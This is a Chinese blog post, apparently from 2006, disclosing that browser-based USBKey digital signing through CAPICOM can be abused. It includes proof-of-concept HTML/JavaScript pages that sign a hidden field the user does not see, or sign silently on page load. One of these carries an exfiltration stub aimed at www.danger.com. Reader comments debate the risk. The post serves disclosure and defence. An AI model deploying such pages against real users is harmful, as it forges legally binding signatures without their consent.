David.Turing's blog

           

          [原創]國內大部分的USBKey通過B/S方式(CAPICOM)產生數字簽名的嚴重安全漏洞

          很多人喜歡使用UsbKey產生數字簽名的方式提交到服務器,最近我做的幾個省廳的項目均如此,利用USBKey提供的ActiveX插件(更常見的是CAPICOM接口)通過USBKey廠商提供的WindowsCSP去調用UsbKey產生數字簽名。

          1,?
          用戶在頁面瀏覽文書

          ??????2,? 用戶對頁面中的 Form 數據進行簽名

          ??????3,? 在本地產生數字簽名

          ??????4,? 數字簽名提交到服務器


          ???大家都認為以上的方案非常可靠,但這種方案存在一個極為嚴重的安全問題——誘導簽名。
          ???UsbKey的用戶在大多數情況下無法確認自己看到的數據就是自己說簽名的數據!因為,簽名數據源是通過
          JavaScript 去控制的,而不是用戶。

          我舉一個簡單的例子,如下面的頁面 ,? 用戶看到并以為自己產生簽名的源數據是“逮捕張子強及其同伙” , 但其實不是!

          <script src="Sign.js"></script>

          <OBJECT id="oCAPICOM"

          codeBase="capicom.cab#version=2,0,0,3" classid="clsid:A996E48C-D3DC-4244-89F7-AFA33EC60679"></OBJECT>

          ?

          <br>

          <form id="writeSig" method="post" name="writeSig" action="/SignServlet" target="_top">

          看上去進行簽名的數據: <input name="data"? value=" 逮捕張子強及其同伙 " >

          ?

          <br>

          <!-- 實際上進行簽名的數據: " 釋放張子強及其同伙 " -->

          <input type="hidden" name="data_danger" value=" 釋放張子強及其同伙 " >

          <br>

          ?

          數字簽名結果: <textarea cols="100" rows="20" id="theSignedData"></textarea>

          <br>

          <INPUT TYPE="button" name=t1

          value=" 簽名數據 " onclick="theSignedData.value=pkiSignData(data_danger.value)">

          </form>

          上面的惡意例子能夠運行于所有的 USBKey 的頁面,用戶簽名的數據其實是“釋放張子強及其同伙”。但由于數據被隱藏于頁面之后,用戶根本看不到,以至于產生惡意誘導簽名的嚴重后果。

          防止這種惡意誘導簽名的辦法通常是在服務器要確保所有的涉及數字簽名的頁面在傳遞到客戶端 IE 瀏覽器前,都不會被篡改,但這種方法不能保證 100% 安全,因為在用戶那一端,仍然存在一種非常高風險的誘導簽名的可能,甚至是未經用戶許可,直接調用用戶 USBKey 去產生惡意數字簽名,看下面的例子:

          用戶在瀏覽頁面的時候,已經在頁面背后無聲無色地產生了數字簽名,而且用戶根本無法知道自己已經對“ 我今天去好又多偷了幾包煙 ”這樣的內容進行了簽名!

          下面的例子是真實的例子,能夠運行于任何的 IE 瀏覽器,最后的結果是,頁面通過用戶的 UsbKey 產生了惡意簽名并送到 www.danger.com

          <script src="Sign.js"></script>

          <OBJECT id="oCAPICOM"

          codeBase="capicom.cab#version=2,0,0,3" classid="clsid:A996E48C-D3DC-4244-89F7-AFA33EC60679"></OBJECT>

          <body onLoad="signWithAllowed()">

          <br>

          <form? id="writeSig" method="post" name="writeSig" action="/SignServlet" target="_top">

          你在瀏覽文書: <input name="data"? value=" 逮捕張子強及其同伙 ">

          你以為這是僅僅是一個用于瀏覽的頁面!!

          ?

          </body>

          ?

          <script>

          function signWithAllowed()

          {

          ???????? //alert(' 惡意簽名執行 , 以下的簽名將不知不覺地被產生,并保存到某個地方 ');

          ???????? var sign_value=pkiSignData('?我今天去好又多偷了幾包煙 s');

          ???????? //alert(sign_value);

          ???????? sendSignValueToDangerPalce();

          }

          ?

          function sendSignValueToDangerPalce()

          {

          ???????? //Send Signvalue to www.danger.com

          }

          </script>

          ???????在目前大多數Usbkey中均存在誘導簽名的問題,在第一次產生數字簽名的時候,USBKey會提示用戶輸入PIN,但在第2次,第3次簽名動作產生的時候,這些都已經是用戶無法感知的事實!
          ????? 這就是我為什么不希望使用B/S,而是C/S方式手段產生數字簽名的原因。
          ???????我的另外一篇文章提到如何通過Java調用CryptoAPI:?
          ??????http://www.aygfsteel.com/security/archive/2006/07/11/java_cryptoapi_csp_signature.html, 已經被用于SecureX Eclipse Plugin(securex.sourceforge.net)當中。
          ??????
          ??????在我負責的多個業務系統中的數字簽名/印章中,均存在上面的危險!除非我們能夠確保惡意頁面不存在,否則,某個程序員在系統中,哪怕是Insert很小一段JS代碼到某個不顯眼的頁面,后果是非常嚴重的。

          posted on 2006-11-13 11:06 david.turing 閱讀(14858) 評論(12)  編輯  收藏 所屬分類: Security領域

          評論

          # re: [原創]國內大部分的USBKey通過B/S方式(CAPICOM)產生數字簽名的嚴重安全漏洞 2006-11-13 13:16 詠梅

          去掉"Hidden"屬性可否顯現?此腳本可否設定權限/  回復  更多評論   

          # re: [原創]國內大部分的USBKey通過B/S方式(CAPICOM)產生數字簽名的嚴重安全漏洞 2006-11-13 14:52 david.turing

          該頁面可以放在信任站點的任何路徑上,然后直接調用客戶端的Capicom產生簽名,神不知鬼不覺。

          測試頁面可見于:
          http://securex.sourceforge.net/testusb/SilentSign.htm

          1,把securex.sourceforge.net設置成信任站點(目前很多項目都是這樣做的)
          2,訪問上面的頁面,然后看看html源代碼
            回復  更多評論   

          # re: [原創]國內大部分的USBKey通過B/S方式(CAPICOM)產生數字簽名的嚴重安全漏洞 2006-12-02 22:05 紅旗的理想

          是不是要USBKey來測試上面哪個連接才看的出效果呢?  回復  更多評論   

          # re: [原創]國內大部分的USBKey通過B/S方式(CAPICOM)產生數字簽名的嚴重安全漏洞 2006-12-05 16:20 小人物

          不是要進行驗證的嗎?驗證的內容包含了簽名信息和原始信息,原始信息的來源應該不是來自hidden的吧?如果說那程序員連原始信息來源處也改了那就是走C/S也沒用,他還不是可以做個仿界面來搞鬼?天下哪有十全十美的方法。  回復  更多評論   

          # re: [原創]國內大部分的USBKey通過B/S方式(CAPICOM)產生數字簽名的嚴重安全漏洞 2006-12-05 20:30 david.turing


          -----BEGIN PGP SIGNED MESSAGE-----
          Hash: SHA1

          你說對了,但我的工作是要客戶認為這足夠安全,并且讓
          客戶認為(他們會找第三方公司對SecureX的客戶端源代碼
          進行核實,然后才部署),這樣會相對安全很多。

          -----BEGIN PGP SIGNATURE-----
          Version: PGP Desktop 9.0.5 - Enterprise license
          Comment: http://www.pgp.org.cn

          iQA/AwUBRXVmn02j31FcBpdPEQJLoQCfbWlFvBJ6jpOxIpjR/4PU1bzOHfAAoMr9
          BQyMQ7d7qfMetMZbqUbGruAT
          =FEqC
          -----END PGP SIGNATURE-----
            回復  更多評論   

          # re: [原創]國內大部分的USBKey通過B/S方式(CAPICOM)產生數字簽名的嚴重安全漏洞 2006-12-19 12:47 flown

          如果程序員在程序中留有后口,那么系統肯定是不安全的。

          這個你無論通過什么方式都保證不了,無論是C/S,還是B/S  回復  更多評論   

          # re: [原創]國內大部分的USBKey通過B/S方式(CAPICOM)產生數字簽名的嚴重安全漏洞 2007-11-13 00:10 yhb7805.cublog.cn

          如果不考慮攻擊瀏覽器,那么你說的腳本一定是由服務器的腳本生成的。
          如果服務器和Browser之間是通過SSL建立的連接(IE6現在不能對Server強制進行認證,但IE7和Vista已經可以了),那么一定是真實的服務器上的腳本本身有問題,出了這樣的問題話,一定是Server端承擔該責任。
          屬于Server的問題,應該從Server端去解決,在客戶端和USB KEY上,是找不到解決辦法的。因為前提是真實的服務器本身就有問題,根源不在這里。  回復  更多評論   

          # re: [原創]國內大部分的USBKey通過B/S方式(CAPICOM)產生數字簽名的嚴重安全漏洞 2007-11-13 00:24 yhb7805.cublog.cn

          您討論的這個問題,已經和加密、USBKEY沒有關系了。它本質已經屬于管理范疇了(對開發過程、源代碼的安全性的管理)。
          讓技術手段去解決管理問題,本身就是風馬牛不相及。所以說安全問題30%是技術,70%是管理。
          所以您的這個“嚴重安全漏洞”有些聳人聽聞的意思。
          建議多看看信息安全的規范。  回復  更多評論   

          # re: [原創]國內大部分的USBKey通過B/S方式(CAPICOM)產生數字簽名的嚴重安全漏洞 2008-06-18 00:47 raiden

          所謂的網絡安全,終于在這里有人說人話了  回復  更多評論   

          # re: [原創]國內大部分的USBKey通過B/S方式(CAPICOM)產生數字簽名的嚴重安全漏洞 2008-11-18 08:41 還要輸入名?

          舉例無任何意義。這一切都是源于源代碼的漏洞,也就是說不是技術本身,而是人為因素。如果想在代碼當中做手腳,任何的努力都是白費的。  回復  更多評論   

          # re: [原創]國內大部分的USBKey通過B/S方式(CAPICOM)產生數字簽名的嚴重安全漏洞 2011-08-15 14:48 ca

          這是一個很矛盾的事情,我們曾經做過每次簽名都要用戶輸入私鑰保護PIN碼,但結果很多用戶(主要是像省廳這樣的大業主)都嫌太麻煩,即使我們以安全要求強調這個問題。
          還有更嚴重的問題,很多應用喜歡讓用戶在網頁輸入PIN碼,這樣后可以在不用戶不知不覺前獲取PIN碼而進行各種私鑰操作。  回復  更多評論   

          # re: [原創]國內大部分的USBKey通過B/S方式(CAPICOM)產生數字簽名的嚴重安全漏洞 2014-05-21 11:37 一氣哈成

          這個問題對一代USBKey確實有這個問題,但是二代所見即所簽就沒有這個問題了  回復  更多評論   

          導航

          統計

          常用鏈接

          留言簿(110)

          我參與的團隊

          隨筆分類(126)

          隨筆檔案(155)

          文章分類(9)

          文章檔案(19)

          相冊

          搜索

          積分與排名

          最新隨筆

          最新評論

          閱讀排行榜

          評論排行榜

          主站蜘蛛池模板: 井研县| 南皮县| 凤凰县| 义乌市| 蓬莱市| 潼南县| 额济纳旗| 连南| 南宫市| 横峰县| 桂平市| 奎屯市| 玉屏| 乌拉特中旗| 岚皋县| 正宁县| 科技| 谢通门县| 台北市| 越西县| 新邵县| 湘潭县| 淮北市| 潼南县| 南漳县| 讷河市| 同江市| 达孜县| 洛宁县| 辛集市| 万州区| 鄂尔多斯市| 康平县| 蒙山县| 昔阳县| 梧州市| 开江县| 温泉县| 肃北| 通州区| 本溪市|